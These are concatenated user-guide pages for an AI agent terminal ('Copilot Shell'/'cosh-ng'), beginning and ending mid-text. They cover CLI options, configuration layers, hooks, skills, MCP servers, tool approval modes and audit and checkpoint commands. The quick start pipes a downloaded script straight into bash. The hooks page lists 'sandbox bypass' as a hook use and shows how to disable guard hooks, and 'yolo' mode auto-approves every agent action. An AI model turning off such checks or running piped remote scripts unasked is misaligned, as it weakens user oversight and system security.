ends with `/v1`) **ECS Web authentication timeout** - Confirm the ECS security group allows the callback port - Try AK/SK as a fallback **Model unavailable** - Use `/model` to view available models - Confirm the current authentication method supports the target model ===== docs/user-guide/en/user-entrypoint/copilot-shell/cli-reference.md ===== # CLI Reference Copilot Shell's command-line interface supports various flags and options to control startup behavior, authentication, tool configuration, and output format. ## Basic Usage ```bash cosh [options] [query] ``` Aliases: `co`, `copilot` ## Common Options | Option | Short | Description | |--------|-------|-------------| | `--help` | `-h` | Show help information | | `--version` | `-v` | Show version number | | `--debug` | `-d` | Enable debug mode | | `--model ` | `-m` | Specify the model to use | | `--prompt ` | `-p` | Non-interactive mode: execute prompt then exit | | `--prompt-interactive ` | `-i` | Execute prompt then stay interactive | | `--yolo` | `-y` | Auto-approve all operations (YOLO mode) | ## Session Options | Option | Description | |--------|-------------| | `--continue` | Resume the most recent session | | `--resume ` | Resume a session by ID | | `--max-session-turns ` | Limit maximum session turns | ## Approval Options | Option | Description | |--------|-------------| | `--approval-mode ` | Set approval mode (plan/default/auto-edit/yolo) | | `--checkpointing` | Enable file edit checkpoints (allows rollback) | ## Authentication Options | Option | Description | |--------|-------------| | `--auth-type ` | Specify authentication type | | `--openai-api-key ` | OpenAI-compatible API key | | `--openai-base-url ` | OpenAI-compatible Base URL | ## Tool Options | Option | Description | |--------|-------------| | `--allowed-tools ` | Allowed tools (comma-separated) | | `--exclude-tools ` | Excluded tools (comma-separated) | | `--core-tools ` | Core tool definition file path | | `--allowed-mcp-server-names ` | Allowed MCP servers (comma-separated) | ## Extension Options | Option | Description | |--------|-------------| | `--extensions ` | Extensions to load (comma-separated) | | `--list-extensions` | List all loaded extensions then exit | ## Input/Output Options | Option | Short | Description | |--------|-------|-------------| | `--input-format ` | `-I` | Input format (text/stream-json) | | `--output-format ` | `-O` | Output format (text/json/stream-json) | | `--include-partial-messages` | — | Include partial messages (stream-json only) | ## Advanced Options | Option | Description | |--------|-------------| | `--all-files` / `-a` | Include all files in context | | `--acp` | ACP mode (Zed integration) | | `--proxy ` | Network proxy (format: schema://user:password@host:port) | | `--screen-reader` | Screen reader accessibility mode | | `--skip-startup-context` | Skip workspace startup context | | `--skip-loop-detection` | Skip loop detection | ## Usage Examples ### Non-interactive Execution ```bash # Execute a task then exit cosh -p "List all TODO comments" # Specify a model cosh -m qwen3.7-max -p "Explain what this code does" ``` ### Resume Session ```bash # Resume the most recent session cosh --continue # Resume a specific session cosh --resume abc123 ``` ### YOLO Mode ```bash # Auto-approve all operations cosh -y -p "Fix all lint errors" ``` ### JSON Output ```bash # Output results in JSON format cosh -O json -p "Analyze project dependencies" ``` ### Proxy Settings ```bash cosh --proxy http://proxy.example.com:8080 ``` ===== docs/user-guide/en/user-entrypoint/copilot-shell/commands.md ===== # Command Reference Copilot Shell provides a rich set of slash commands to control session behavior. Type `/help` in a session to see all available commands. ## Basic Commands | Command | Description | |---------|-------------| | `/help` | Show help information | | `/clear` | Clear screen (shortcut `Ctrl+L`) | | `/quit` | Exit Copilot Shell (alias `/exit`) | | `/about` | Show version and system information | ## Authentication & Model | Command | Description | |---------|-------------| | `/auth` | Switch authentication method | | `/model` | Switch the current model | ## Language & Appearance | Command | Description | |---------|-------------| | `/language` | View language settings | | `/language ui ` | Set UI language (e.g., `zh-CN`, `en`) | | `/language output ` | Set LLM output language | | `/theme` | Switch color theme | | `/statusline` | Configure status bar display | ## Session Management | Command | Description | |---------|-------------| | `/resume` | Resume a previous session | | `/rename` | Rename the current session | | `/export` | Export the current session | | `/restore` | Restore a session from backup | | `/compress` | Replace chat history with a summary to save tokens | | `/summary` | Generate a summary of the current session | | `/copy` | Copy the most recent reply to clipboard | | `/stats` | Show token usage statistics for the current session | ## Interactive Tools | Command | Description | |---------|-------------| | `/bash` | Enter interactive shell; type `exit` to return | | `/editor` | Open editor to compose content | | `/vim` | Toggle Vim mode | | `/directory` | Browse directory structure | ## Tools & Permissions | Command | Description | |---------|-------------| | `/tools` | List all available tools | | `/approval-mode` | Set tool approval mode | | `/permissions` | Manage tool permissions | Approval mode options: - `plan`: Plan only, no execution - `default`: Confirm before each execution - `auto-edit`: Auto-approve file edits; others require confirmation - `yolo`: Auto-approve all operations (use with caution) ## Hooks Management | Command | Description | |---------|-------------| | `/hooks` | Show hooks help | | `/hooks list` | List all registered hooks and their status | ## Extension Management | Command | Description | |---------|-------------| | `/extensions` | View loaded extensions | ## Skills Management | Command | Description | |---------|-------------| | `/skills` | List available skills | | `/clawhub` | Manage Clawhub remote skills | | `/agents` | Manage subagents | ## MCP Servers | Command | Description | |---------|-------------| | `/mcp` | View and manage MCP servers | ## IDE Integration | Command | Description | |---------|-------------| | `/ide` | IDE integration management | ## Settings | Command | Description | |---------|-------------| | `/settings` | Open settings management interface | ## Git & Project | Command | Description | |---------|-------------| | `/init` | Initialize project configuration | | `/setup-github` | Configure GitHub integration | | `/bug` | Submit a bug report | ## Other | Command | Description | |---------|-------------| | `/memory` | Manage session memory | | `/terminal-setup` | Terminal setup recommendations | ## Keyboard Shortcuts | Shortcut | Function | |----------|----------| | `Ctrl+L` | Clear screen | | `Ctrl+C` | Cancel current operation | | `Ctrl+O` | Toggle compact mode (hide tool output) | | `?` | View all shortcuts | | `Tab` | Command completion | | `↑` / `↓` | Browse command history | | `/` | Trigger command list | ===== docs/user-guide/en/user-entrypoint/copilot-shell/configuration.md ===== # Configuration System Copilot Shell uses a layered configuration system that supports overrides from system-level down to project-level. ## Configuration File Locations | Level | Path | Purpose | |-------|------|---------| | System Settings | `/etc/copilot-shell/settings.json` | Admin global policies | | System Defaults | `/etc/copilot-shell/system-defaults.json` | System default values | | User Settings | `~/.copilot-shell/settings.json` | Personal preferences | | Project Settings | `.copilot-shell/settings.json` | Project-level overrides | ## Priority (Highest to Lowest) 1. CLI arguments 2. Environment variables 3. System settings (admin-enforced overrides) 4. Project settings 5. User settings 6. System defaults Higher-priority values override lower-priority ones. System settings serve as an administrator policy layer with priority above user and project settings, used to enforce organization-wide security policies. ## Configuration Categories ### general — General Settings | Key | Type | Default | Description | |-----|------|---------|-------------| | `general.language` | string | `"auto"` | UI language (`auto`/`en`/`zh-CN`) | | `general.outputLanguage` | string | `"auto"` | LLM output language | | `general.vimMode` | boolean | `false` | Enable Vim keybindings | | `general.preferredEditor` | string | — | Preferred editor | | `general.gitCoAuthor` | boolean | `true` | Auto-add Co-authored-by | | `general.terminalBell` | boolean | `true` | Play terminal bell on completion | | `general.chatRecording` | boolean | `true` | Save chat history to disk | | `general.checkpointing.enabled` | boolean | `false` | Enable session checkpoints | ### ui — UI Settings | Key | Type | Default | Description | |-----|------|---------|-------------| | `ui.theme` | string | `"Copilot Shell Dark"` | Color theme | | `ui.hideTips` | boolean | `false` | Hide tip messages | | `ui.showLineNumbers` | boolean | `false` | Show line numbers in code | | `ui.compactMode` | boolean | `false` | Compact mode (`Ctrl+O` toggle) | | `ui.enableWelcomeBack` | boolean | `true` | Show "Welcome back" dialog | | `ui.customThemes` | object | `{}` | Custom theme definitions | ### tools — Tool Settings | Key | Type | Default | Description | |-----|------|---------|-------------| | `tools.approvalMode` | enum | `"default"` | Approval mode (plan/default/auto-edit/yolo) | | `tools.allowed` | array | — | Tools allowlisted for auto-execution | | `tools.exclude` | array | — | Tools to exclude | | `tools.shell.enableInteractiveShell` | boolean | `false` | Enable PTY interactive shell | | `tools.useRipgrep` | boolean | `true` | Use ripgrep for search | ### security — Security Settings | Key | Type | Default | Description | |-----|------|---------|-------------| | `security.auth.selectedType` | string | — | Current authentication type | | `security.auth.enforcedType` | string | — | Enforced authentication type | | `security.auth.apiKey` | string | — | OpenAI-compatible API key | | `security.auth.baseUrl` | string | — | OpenAI-compatible Base URL | | `security.folderTrust.enabled` | boolean | `false` | Folder trust | ### model — Model Settings | Key | Type | Default | Description | |-----|------|---------|-------------| | `model.name` | string | — | Current model in use | | `model.maxSessionTurns` | number | `-1` | Max session turns (-1 = unlimited) | | `model.sessionTokenLimit` | number | — | Session token limit | | `model.chatCompression` | object | — | Chat compression configuration | | `model.generationConfig.timeout` | number | — | Request timeout (ms) | | `model.generationConfig.maxRetries` | number | — | Max retry count | | `model.generationConfig.contextWindowSize` | number | — | Override context window size | ### context — Context Settings | Key | Type | Default | Description | |-----|------|---------|-------------| | `context.fileName` | string | — | Context file name | | `context.includeDirectories` | array | `[]` | Additional directories to include | | `context.fileFiltering.respectGitIgnore` | boolean | `true` | Respect .gitignore | | `context.fileFiltering.respectQwenIgnore` | boolean | `true` | Respect .copilotignore | ### mcp — MCP Servers | Key | Type | Default | Description | |-----|------|---------|-------------| | `mcpServers` | object | `{}` | MCP server configuration | | `mcp.allowed` | array | — | Allowed MCP servers | | `mcp.excluded` | array | — | Excluded MCP servers | ### hooksConfig — Hooks Configuration | Key | Type | Default | Description | |-----|------|---------|-------------| | `hooksConfig.enabled` | boolean | `true` | Enable hooks system | | `hooksConfig.disabled` | array | `[]` | List of disabled hook names | ### hooks — Hook Event Configuration | Key | Type | Description | |-----|------|-------------| | `hooks.PreToolUse` | array | Hooks triggered before tool execution | | `hooks.UserPromptSubmit` | array | Hooks triggered before agent processing | | `hooks.Stop` | array | Hooks triggered after agent processing | ### skills — Skills Configuration | Key | Type | Default | Description | |-----|------|---------|-------------| | `skills.customPaths` | array | `[]` | Custom skill search paths | | `skillOS.baseUrl` | string | — | Remote Skill-OS address | | `clawhub.registry` | string | — | Clawhub registry URL | ### webSearch — Web Search | Key | Type | Description | |-----|------|-------------| | `webSearch.provider` | array | Search provider config (Tavily/Google/DashScope) | | `webSearch.default` | string | Default search provider | ### autoMemory — Auto Memory | Key | Type | Default | Description | |-----|------|---------|-------------| | `autoMemory.enabled` | boolean | `false` | Enable automatic memory extraction | | `autoMemory.cooldownSeconds` | number | `1800` | Extraction cooldown (seconds) | ## Configuration Example Full user configuration example (`~/.copilot-shell/settings.json`): ```json { "general": { "language": "en", "outputLanguage": "English", "vimMode": false }, "ui": { "theme": "Copilot Shell Dark", "compactMode": false }, "tools": { "approvalMode": "default", "shell": { "enableInteractiveShell": true } }, "security": { "auth": { "selectedType": "aliyun" } }, "model": { "generationConfig": { "timeout": 60000, "maxRetries": 3 } } } ``` ## Environment Variables Some configuration supports environment variables: | Variable | Corresponding Setting | |----------|----------------------| | `OPENAI_API_KEY` | `security.auth.apiKey` | | `OPENAI_BASE_URL` | `security.auth.baseUrl` | ## Folder Trust When Copilot Shell runs in a new project directory for the first time, project-level configuration (`.copilot-shell/settings.json`) is not trusted by default. Project settings only take effect after the user confirms trust for that directory. This behavior is controlled by `security.folderTrust.enabled`. ===== docs/user-guide/en/user-entrypoint/copilot-shell/extensions.md ===== # Extension Management Extensions are Copilot Shell's capability extension mechanism. External components (such as agent-sec-core, tokenless) integrate into Copilot Shell through declarative configuration without modifying the core code. ## View Loaded Extensions ``` /extensions ``` This command lists all discovered and loaded extensions in the current session. ## Extension Loading Paths Copilot Shell searches for extensions in the following order: 1. **System-level directory**: `/usr/share/copilot-shell/extensions/` 2. **User-level directory**: `~/.copilot-shell/extensions/` 3. **Project-level directory**: `.copilot-shell/extensions/` 4. **CLI argument**: `--extensions` flag Each extension directory should contain a `cosh-extension.json` declaration file. ## Extension Declaration Format Extensions declare their capabilities via a `cosh-extension.json` file: ```json { "name": "my-extension", "version": "1.0.0", "hooks": { "PreToolUse": [ { "command": "${EXTENSION_DIR}/hooks/pre-tool.sh", "matcher": "Shell" } ] }, "tools": [ { "name": "my-custom-tool", "command": "${EXTENSION_DIR}/tools/my-tool.sh" } ] } ``` ### Variable Substitution The following variables are supported in extension configuration: | Variable | Meaning | |----------|---------| | `${EXTENSION_DIR}` | Absolute path of the current extension directory | ## Known Extensions The following ANOLISA ecosystem components integrate via the extension mechanism: | Extension | Function | |-----------|----------| | `agent-sec-core` | Security sandbox, command auditing, hooks injection | | `tokenless` | LLM token compression optimization | These extensions are automatically deployed to the system-level extension directory when ANOLISA is installed. ## Enabling and Disabling Extensions ### Via CLI Arguments ```bash # Load only specified extensions cosh --extensions my-extension,another-extension # List loaded extensions then exit cosh --list-extensions ``` ### Via Configuration File ```json { "extensions": ["my-extension"] } ``` ## Extensions and Hooks Extensions can register hooks into Copilot Shell's event system. Hooks registered by extensions execute after user-defined hooks in priority: 1. User hooks (user settings) 2. Extension hooks (extension-injected) 3. Remote hooks (remotely loaded) ## Related Documentation - [Hook Development Guide](../../../../developer-guide/en/copilot-shell/hooks/index.md) — Learn how extensions register hooks ===== docs/user-guide/en/user-entrypoint/copilot-shell/hooks.md ===== # Using Hooks Hooks are Copilot Shell's interception mechanism. They execute custom scripts before and after tool calls and agent processing, enabling security enforcement, automated approval, context injection, and more. ## Quick Start List all registered hooks: ``` /hooks list ``` ## Hook Events Copilot Shell supports the following hook events: | Event | Trigger | Typical Use | |-------|---------|-------------| | `SessionStart` | Session begins (start/resume/clear) | Initialize environment, load context | | `SessionEnd` | Session ends (exit/clear) | Clean up resources, save state | | `UserPromptSubmit` | After user submits prompt, before planning | Inject context, validate input, block turn | | `Stop` | When agent is about to stop | Review output, force retry | | `BeforeModel` | Before sending LLM request | Switch model, modify parameters, mock response | | `AfterModel` | After receiving LLM response | Filter response, log | | `BeforeToolSelection` | Before LLM selects tools | Filter available tool set | | `PreToolUse` | Before tool execution | Intercept dangerous commands, modify parameters, security audit | | `PostToolUse` | After tool execution | Process results, log, hide sensitive output | | `PostToolUseFailure` | After tool execution failure | Error recovery, sandbox bypass | | `PreCompact` | Before context compression | Save state, notify user | | `Notification` | When system notification occurs | Forward desktop alerts | | `PermissionRequest` | When permission dialog shows | Auto-approve or deny permissions | ## Managing Hooks ### View Registered Hooks ``` /hooks list ``` Displays all hooks with their name, source, and status (enabled/disabled). ### Enable or Disable Specific Hooks Disable via configuration file: ```json { "hooksConfig": { "disabled": ["sandbox-guard"] } } ``` ### Disable Hooks System Globally ```json { "hooksConfig": { "enabled": false } } ``` ## Hook Configuration Format Configure custom hooks in `settings.json`: ```json { "hooks": { "PreToolUse": [ { "matcher": "run_shell_command", "sequential": true, "hooks": [ { "type": "command", "command": "/path/to/my-hook.sh", "name": "my-hook", "timeout": 10000 } ] } ] } } ``` ### Configuration Fields Each event contains an array of matcher groups. Each matcher group has: | Field | Type | Description | |-------|------|-------------| | `matcher` | string | Tool name regex to match; empty or `"*"` matches all | | `sequential` | boolean | Execute sequentially (default: parallel) | | `hooks` | array | Hook list for this matcher group | Each hook object: | Field | Type | Description | |-------|------|-------------| | `type` | string | Execution engine; currently only `"command"` | | `command` | string | Hook script path or command | | `name` | string | Hook name (used in logs and management commands) | | `timeout` | number | Timeout in milliseconds (default: 60000) | ## Hook Source Priority When multiple sources define hooks for the same event, execution priority is: 1. **User** — Hooks defined in user settings 2. **Extension** — Hooks injected by extensions 3. **Remote** — Remotely loaded hooks ## Hook Input/Output Hook scripts receive JSON input via stdin and return JSON output via stdout. ### PreToolUse Input Example ```json { "hook_event_name": "PreToolUse", "tool_name": "run_shell_command", "tool_input": { "command": "rm -rf /tmp/test" }, "session_id": "abc123", "cwd": "/home/user/project", "timestamp": "2025-01-01T00:00:00Z" } ``` ### PreToolUse Output Examples Deny execution: ```json { "decision": "deny", "reason": "Dangerous command intercepted" } ``` Allow execution with modified parameters: ```json { "hookSpecificOutput": { "tool_input": { "command": "linux-sandbox -- rm -rf /tmp/test" } } } ``` ## Related Documentation - [Hook Development Guide](../../../../developer-guide/en/copilot-shell/hooks/index.md) - [Hook API Reference](../../../../developer-guide/en/copilot-shell/hooks/reference.md) - [Writing Custom Hooks](../../../../developer-guide/en/copilot-shell/hooks/writing-hooks.md) ===== docs/user-guide/en/user-entrypoint/copilot-shell/mcp.md ===== # MCP Servers MCP (Model Context Protocol) is a standard protocol that allows Copilot Shell to communicate with external tool servers. By configuring MCP servers, you can extend the set of tools available to the AI. ## View MCP Servers ``` /mcp ``` Lists configured MCP servers and their status. ## Configuring MCP Servers Configure in the `mcpServers` field of `settings.json`: ```json { "mcpServers": { "my-server": { "command": "npx", "args": ["-y", "@my-org/mcp-server"], "env": { "API_KEY": "xxx" } } } } ``` ### Configuration Fields | Field | Type | Description | |-------|------|-------------| | `command` | string | Command to start the MCP server | | `args` | array | Command arguments | | `env` | object | Environment variables passed to the server | | `url` | string | URL of a remote MCP server (mutually exclusive with command) | ### stdio Mode Local MCP servers communicating via stdin/stdout: ```json { "mcpServers": { "filesystem": { "command": "npx", "args": ["-y", "@modelcontextprotocol/server-filesystem", "/path/to/dir"] } } } ``` ### SSE Mode Remote MCP servers communicating via HTTP Server-Sent Events: ```json { "mcpServers": { "remote-tools": { "url": "https://mcp.example.com/sse" } } } ``` ## Filtering MCP Servers ### Allow List Enable only specified MCP servers: ```json { "mcp": { "allowed": ["filesystem", "my-server"] } } ``` ### Exclude List Disable specific MCP servers: ```json { "mcp": { "excluded": ["risky-server"] } } ``` ## MCP Server Command Launch MCP servers via a custom command: ```json { "mcp": { "serverCommand": "/usr/local/bin/my-mcp-launcher" } } ``` ## OAuth Authentication Some MCP servers require OAuth authentication. Copilot Shell has built-in OAuth 2.0 + PKCE support and automatically guides through the authentication flow on first connection. ## CLI Arguments Specify allowed MCP servers via the command line: ```bash cosh --allowed-mcp-server-names filesystem,my-server ``` ## Configuration Layers MCP server configuration supports multi-layer overrides: - **System-level**: Admin pre-installed MCP servers - **User-level**: Personal frequently-used MCP servers - **Project-level**: Project-specific MCP servers Multi-layer configuration uses shallow merge strategy (same-name keys use the higher-priority value). ===== docs/user-guide/en/user-entrypoint/copilot-shell/skills.md ===== # Skills System Skills enable Copilot Shell to perform domain-specific tasks such as system diagnostics, security audits, and project initialization. Skills are defined as Markdown files, supporting local loading and community skills via Clawhub. ## View Available Skills ``` /skills ``` Lists all discovered skills in the current session. ## Skill Discovery Priority Copilot Shell searches for skills in the following priority order (higher priority overrides same-named skills at lower priority): 1. **Project-level skills**: `.copilot-shell/skills/` 2. **Custom paths**: Directories configured via `skills.customPaths` 3. **User-level skills**: `~/.copilot-shell/skills/` 4. **Extension skills**: `skills/` under extension directories 5. **System-level skills**: `/usr/share/anolisa/skills` ## Skill Structure Each skill is a directory containing a `SKILL.md` file: ``` ~/.copilot-shell/skills/ └── my-skill/ └── SKILL.md ``` `SKILL.md` is a Markdown file describing the skill's name, trigger conditions, execution steps, and other information. The AI follows these instructions to complete tasks. ## Custom Skill Paths Add additional skill search directories via configuration: ```json { "skills": { "customPaths": [ "~/my-skills", "/opt/team-skills" ] } } ``` Paths support `~` (home directory) and `$VAR`/`${VAR}` (environment variable) expansion. ## Clawhub Remote Skills Clawhub is Copilot Shell's remote skill registry, providing community-shared skills. ### Search Skills ``` /clawhub search ``` ### Install Skills ``` /clawhub install ``` ### Update Skills ``` /clawhub update ``` ### Configure Registry URL ```json { "clawhub": { "registry": "https://cn.clawhub-mirror.com" } } ``` ## OS Skills ANOLISA ships with a set of operating system skills (`os-skills`) covering: - **System Administration**: User management, service management, network configuration - **Monitoring & Performance**: System resource analysis, performance diagnostics - **Security**: Security audits, vulnerability scanning - **DevOps**: CI/CD, container management - **AI**: AI Agent deployment These skills become automatically available after ANOLISA installation. ===== docs/user-guide/en/user-entrypoint/copilot-shell/tools.md ===== # Tools & Approval Modes Copilot Shell executes file operations, shell commands, search, and other tasks through built-in tools. This document covers the tool system and approval modes. ## Built-in Tools Copilot Shell provides the following core tools: | Tool | Function | |------|----------| | File Read/Write | Read, create, and edit files | | Shell Execution | Run shell commands | | Code Search | Full-text search powered by ripgrep | | File Search | Find files by name pattern | | Directory Listing | List directory contents | | Web Search | Search the internet for information | | MCP Tools | Call external tools via MCP protocol | Use the `/tools` command to see all available tools in the current session. ## Approval Modes Approval modes determine whether Copilot Shell requires user confirmation before executing tools. Set via the `/approval-mode` command or the `tools.approvalMode` configuration key. ### plan Only generates an action plan without executing any tool calls. Useful for reviewing AI decision-making. ### default (Default) Requests confirmation before each tool call. The user can: - Press `y` or Enter to confirm - Press `n` to reject - Press `a` to accept all for the current session ### auto-edit Auto-approves file edit operations; other operations (such as shell commands) still require confirmation. Suitable when you trust the AI's code modifications but want to control external command execution. ### yolo Auto-approves all tool calls without any confirmation. > [!WARNING] > > `yolo` mode skips all safety confirmations. Recommended only in controlled > environments or when combined with sandbox hooks. Can also be specified at > launch with `cosh --yolo` or `cosh -y`. ## Tool Filtering ### Allowlist Set specific tools for auto-execution without confirmation: ```json { "tools": { "allowed": ["ReadFile", "ListDir", "GrepSearch"] } } ``` Tools on the allowlist execute automatically even in `default` mode. ### Excluding Tools Prevent specific tools from being called: ```json { "tools": { "exclude": ["WebSearch"] } } ``` Excluded tools are invisible to the AI and will not appear in the tool list. ## Shell Tool Configuration ### Interactive Shell (PTY) When enabled, shell commands execute through a pseudo-terminal, supporting `sudo`, interactive programs, etc.: ```json { "tools": { "shell": { "enableInteractiveShell": true } } } ``` ### Output Display ```json { "tools": { "shell": { "showColor": true, "pager": "cat" } } } ``` ## Tool Output Truncation When tool output is too large, Copilot Shell automatically truncates it to save tokens: ```json { "tools": { "enableToolOutputTruncation": true, "truncateToolOutputThreshold": 50000, "truncateToolOutputLines": 200 } } ``` - `truncateToolOutputThreshold`: Trigger truncation above this character count (-1 to disable) - `truncateToolOutputLines`: Number of lines to keep after truncation ## Search Tool Copilot Shell uses the built-in ripgrep for code search by default: ```json { "tools": { "useRipgrep": true, "useBuiltinRipgrep": true } } ``` - `useRipgrep`: Enable ripgrep (faster than the default implementation) - `useBuiltinRipgrep`: Use the bundled `rg` binary. Set to `false` to use the system `rg` ===== docs/user-guide/en/user-entrypoint/cosh-ng/QUICKSTART.md ===== # cosh-ng Quick Start [中文版](../../../zh/user-entrypoint/cosh-ng/QUICKSTART.md) cosh-ng adds an Agent to a normal bash or zsh session. Start `cosh`, run Shell commands as usual, and describe a larger task in natural language when you need help. ## 1. Install Install the ANOLISA CLI and cosh-ng: ```bash curl -fsSL https://get.agentic-os.sh | bash sudo anolisa --install-mode system install cosh-ng ``` Alibaba Cloud Linux users can install the RPM instead: ```bash sudo yum install cosh-ng ``` Verify both user-facing commands: ```bash cosh --version cosh-cli --version ``` Package and service changes normally need root privileges. Workspace checkpoint commands also need a running `ws-ckpt` daemon. These packaged paths target Linux. Source builds are for contributors; follow the [developer setup](../../../../developer-guide/en/cosh-ng/getting-started.md) after the packaged options above. ## 2. Start the terminal Start `cosh` in the project or system directory where the Agent should work: ```bash cd your-project cosh ``` Run commands in the same session, and describe a larger task as ordinary input: ```text $ git status ``` For example, ask the Agent to investigate the last failed deployment and inspect it without making changes. When an operation needs consent, cosh shows an approval or question card before it proceeds. Useful first commands: ```text /auth /help /status /mode approval recommend /session list ``` `/auth` chooses or updates provider authentication, `/help` lists slash commands, `/status` shows runtime and session status, `/mode approval recommend` asks for confirmation before each Agent tool call, and `/session list` lists resumable conversations in this workspace. Use `/session list --all` to include conversations from other workspaces. Resume a conversation from the workspace where it was created. ## 3. Reuse Skills List and inspect Skills available to the current workspace: ```text /skills list /skills detail service-health ``` Workspace, user, extension, and system Skill directories are merged by priority. See [Skills](core/skills.md) for the search order and file format. ## 4. Continue with a task | Goal | Read next | |---|---| | Control approval and safety | [Tool approval](shell/approval.md) | | Resume or compact conversations | [Session recovery](shell/session-recovery.md) | | Choose a model and authenticate | [Model providers](core/providers.md) | | Connect tools from another service | [Connect an MCP server](mcp.md) | | Automate package, service, checkpoint, or audit work | [Structured OS CLI](cli/overview.md) | | Integrate another frontend | [Headless mode](core/headless-mode.md) | The [full user guide](README.md) is organized by task. ===== docs/user-guide/en/user-entrypoint/cosh-ng/README.md ===== # cosh-ng User Guide [中文版](../../../zh/user-entrypoint/cosh-ng/README.md) cosh-ng is an AI-native Linux terminal that keeps normal Shell work and Agent tasks together. Start with the quick start, then use the task-based links below for the feature or command you need. ## Start here - [Quick start](QUICKSTART.md) — install cosh-ng and run a first task. - [Model providers](core/providers.md) — configure authentication and select a provider. - [Configuration](configuration.md) — review files, settings, and precedence. - [Supported platforms](supported-distros.md) — check package and service backends. ## Work in the terminal | Goal | Read next | |---|---| | Run Shell commands and natural-language tasks together | [Interactive terminal](shell/overview.md) | | Choose when Agent tool calls require confirmation | [Tool approval](shell/approval.md) | | Resume or compact a conversation | [Session recovery](shell/session-recovery.md) | | Learn slash commands and keyboard behavior | [Interactive behavior](shell/interactive-mode.md) | ## Add capabilities | Goal | Read next | |---|---| | Share instructions across a project or team | [Skills](core/skills.md) | | Connect tools from a local process or remote service | [Connect an MCP server](mcp.md) | | Bundle Skills, Hooks, settings, and tools | [Extensions](core/extensions.md) | | Run checks around Agent lifecycle events | [Hooks](core/hooks.md) | ## Manage system operations Use read-only commands first. Add `--dry-run` to a supported package or service mutation before making a change; these operations usually need root privileges. | Goal | Read next | |---|---| | Find, install, or remove packages | [Package management](cli/package-management.md) | | Inspect or change systemd services | [Service management](cli/service-management.md) | | Save, compare, restore, or clean workspace snapshots | [Workspace checkpoints](cli/checkpoint.md) | | Check policy decisions and audit events | [Security audit](cli/audit.md) | ## Integrate and automate - [Structured OS CLI](cli/overview.md) — command domains and safe automation patterns. - [Output format](output-format.md) — the `CoshResponse` success and error envelope. - [Headless mode](core/headless-mode.md) — JSONL integration for other frontends. - [Agent tools](core/tools.md) — tool boundaries and approval behavior. ===== docs/user-guide/en/user-entrypoint/cosh-ng/cli/audit.md ===== # Security Audit [中文版](../../../../zh/user-entrypoint/cosh-ng/cli/audit.md) `cosh-cli audit` checks whether an action is allowed and reads the redacted audit events used for troubleshooting. It supports policy checks, bounded queries, correlated traces, incident exports, and retention previews. Every command returns the standard `CoshResponse` JSON envelope. ## Commands | Command | Purpose | |---|---| | `cosh-cli audit check` | Evaluate an action under the active policy | | `cosh-cli audit log` | Read policy-decision events for a session | | `cosh-cli audit status` | Show audit storage and reader health | | `cosh-cli audit events` | Query a bounded page of events | | `cosh-cli audit trace ` | Follow events for an ID or correlation identity | | `cosh-cli audit export --output ` | Write a redacted incident bundle | | `cosh-cli audit prune --dry-run` | Preview retention candidates | | `cosh-cli audit policy ...` | Inspect or validate policy files | Use `cosh-cli audit --help` or an action's `--help` output for the complete option list. ## Check a policy decision Pass either a raw action string or structured fields: ```bash cosh-cli audit check --action-string "pkg install nginx" cosh-cli audit check --subsystem pkg --operation install --target nginx cosh-cli audit log --session abc123 --since 2h --limit 50 ``` `--action` remains an alias for `--action-string`. Structured checks require `--subsystem` and `--operation`; `--target` and paired `--arg-key`/`--arg-value` fields are optional. ## Query and export events ```bash cosh-cli audit status cosh-cli audit events --since 2h --event approval.requested,approval.resolved --limit 100 cosh-cli audit trace 7fa4c0b0-0000-4000-8000-000000000001 cosh-cli audit export --since 2h --identity session-123 --output ./audit-incident cosh-cli audit prune --dry-run ``` `--since` accepts a duration such as `30s`, `5m`, `2h`, or `1d`, or an RFC 3339 timestamp. `--until` accepts an RFC 3339 timestamp. `events` and `export` also accept repeated or comma-separated `--event`, `--component`, and `--outcome` filters, plus `--identity` and `--schema v1|legacy_v0`; `events` and `trace` support an opaque `--cursor` for the next page. Inside `cosh-shell`, `/audit status`, `/audit trace current`, and `/audit export current ` provide bounded wrappers for the same operations. An export contains `events.jsonl`, `summary.json`, `manifest.json`, and `SHA256SUMS`. The export is redacted and published atomically; `--force` replaces only a directory containing a valid cosh audit manifest. Version 1 supports retention preview only, so `audit prune` must include `--dry-run` and does not delete data. ## Policy commands ```bash cosh-cli audit policy show cosh-cli audit policy list cosh-cli audit policy validate ./audit.toml cosh-cli audit policy explain "cat /etc/os-release" ``` The policy loader also accepts the legacy `cosh-cli audit check --action ...` form. For policy locations, audit settings, and storage overrides, see [Configuration](../configuration.md). System audit settings take precedence over user settings; project audit tables are ignored. ===== docs/user-guide/en/user-entrypoint/cosh-ng/cli/checkpoint.md ===== # Workspace Checkpoints [中文版](../../../../zh/user-entrypoint/cosh-ng/cli/checkpoint.md) `cosh-cli checkpoint` asks the ws-ckpt daemon to save, compare, restore, and clean workspace snapshots. Use a snapshot before a high-risk change so a failed operation can be rolled back. ## Requirements and safety - A running ws-ckpt daemon is required. If its socket is unavailable, the command returns `CheckpointDaemonUnavailable`. - The default socket is `/run/ws-ckpt/ws-ckpt.sock`; pass `--socket ` to use another socket. - Checkpoint commands do not support `--dry-run`. Check the workspace and snapshot IDs before restoring, deleting, or cleaning up. ## Commands | Command | Required arguments | Purpose | |---|---|---| | `cosh-cli checkpoint init` | `--workspace ` | Initialize a workspace | | `cosh-cli checkpoint recover` | `--workspace ` | Recover workspace metadata | | `cosh-cli checkpoint create` | `--workspace --id ` | Create a snapshot | | `cosh-cli checkpoint list` | none (`--workspace` is optional) | List snapshots | | `cosh-cli checkpoint restore ` | `--workspace ` | Restore a snapshot | | `cosh-cli checkpoint status` | none (`--workspace` is optional) | Show daemon status | | `cosh-cli checkpoint delete` | `--snapshot ` | Delete a snapshot | | `cosh-cli checkpoint diff` | `--workspace --from --to ` | Compare snapshots | | `cosh-cli checkpoint cleanup` | `--workspace ` | Keep a bounded number of snapshots | All commands use the `cosh-cli checkpoint` prefix: ```bash cosh-cli checkpoint init --workspace /home/agent/project cosh-cli checkpoint create --workspace /home/agent/project --id before-change --message "safe point" cosh-cli checkpoint list --workspace /home/agent/project cosh-cli checkpoint diff --workspace /home/agent/project --from before-change --to after-change cosh-cli checkpoint restore before-change --workspace /home/agent/project ``` Optional controls include `--pin` and `--metadata ` on `create`, `--force` and `--workspace ` on `delete`, and `--keep ` on `cleanup`. `list` and `status` can omit `--workspace` to query all workspaces known to the daemon. ## Typical rollback flow Create a snapshot, perform and verify the high-risk operation, then restore it if the operation fails. After a successful operation, clean up old snapshots when they are no longer needed. ```bash cosh-cli checkpoint create --workspace /path/to/workspace --id pre-action --message "safe point" cosh-cli 